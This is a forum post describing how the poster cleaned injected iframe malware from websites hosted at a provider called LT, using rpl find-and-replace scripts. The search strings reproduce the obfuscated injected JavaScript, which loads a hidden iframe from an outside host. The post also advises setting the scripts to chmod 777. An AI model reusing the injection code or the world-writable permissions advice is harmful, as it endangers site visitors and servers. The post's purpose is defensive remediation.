All the servers we had compromised were at LT also. It was on servers we had never had a trouble ticket on, so it was not because of un-enrypted e-mail. This was definately a direct database hack on the part LT. Make sure you change all your passwords on Servers at LT ASAP.
Here is the fix we used.
1. Download and install RPL http://www.laffeycomputer.com/rpl.html
2. There are 2 script files we had to create.
First Script we named fixhack.sh has the following code in it.
Code:
rpl -x'.php' -x'.html' -x'.htm' -x'.tpl' -tq '<html> <body><script>var source =" =jgsbnf!tsd>(iuuq;00iv2.iv2/do0dpvoufs0joefy/qiq(!xjeui>2!ifjhiu>2!gsbnfcpsefs>1 ?=0jgsbnf?"; var result = "";' '' *
rpl -x'.php' -x'.html' -x'.htm' -x'.tpl' -tq 'for(var i=0;i<source.length;i++) r esult+=String.fromCharCode(source.charCodeAt(i)-1);' '' *
rpl -x'.php' -x'.html' -x'.htm' -x'.tpl' -tq 'document.write(result); </script>' '' *
rpl -x'.php' -x'.html' -x'.htm' -x'.tpl' -tq '</html> </body> <html> <body><scri pt>var source ="=jgsbnf!tsd>(iuuq;00iv2.iv2/do0dpvoufs0joefy/qiq(!xjeui>2!ifjhiu >2!gsbnfcpsefs>1?=0jgsbnf?"; var result = "";' '' *
rpl -x'.php' -x'.html' -x'.htm' -x'.tpl' -tq '<html> <body><script>var source =" =jgsbnf!tsd>(iuuq;00iv2.iv2/do0dpvoufs0joefy/qiq(!xjeui>2!ifjhiu>2!gsbnfcpsefs>1 ?=0jgsbnf?"; var result = "";' '' *
rpl -x'.php' -x'.html' -x'.htm' -x'.tpl' -tq 'document.write(result); </script>' '' *
rpl -x'.php' -x'.html' -x'.htm' -x'.tpl' -tq '</html> </body> </body>' '' *
rpl -x'.php' -x'.html' -x'.htm' -x'.tpl' -tq '<html> <body><script>var source =" =jgsbnf!tsd>(iuuq;00iv2.iv2/do0dpvoufs0joefy/qiq(!xjeui>2!ifjhiu>2!gsbnfcpsefs>1 ?=0jgsbnf?"; var result = "";' '' *
What that code is doing is running the RPL command for each of the lines you are wanting to find, and replacing the specified text with a NULL.
The next shell script executes the previous script and recurses through all the directories. EAch of these scripts we ran from the /home directory. Once you download RPL you will notice that it has a Recursive option, but it will bring your server to its knees, so it is better to use this script to do the recursion for you. We named the following piece of code recursehack.sh
Code:
find /home -type d | while read DIRNAME
do
cd $DIRNAME
/home/fixhack.sh
done
3. Make sure you CHMOD these scripts to 777
4. Execute ./recursehack.sh from the /home directory
5. We found that some of the things in the Cpanel directories were also infected. So, you need to run /scripts/upcp --force
6. You will also find a new directory at the root of your server called something like "pons" or something like that. Do an ls -ltr at the root of your server and you will see a new directory there. Within this directory is a file called "framer.htm" which is the code that was injected into each page, and another script file that did all the dirty work.
Hope this helps someone else. It definately kicked our *sses for a few hours.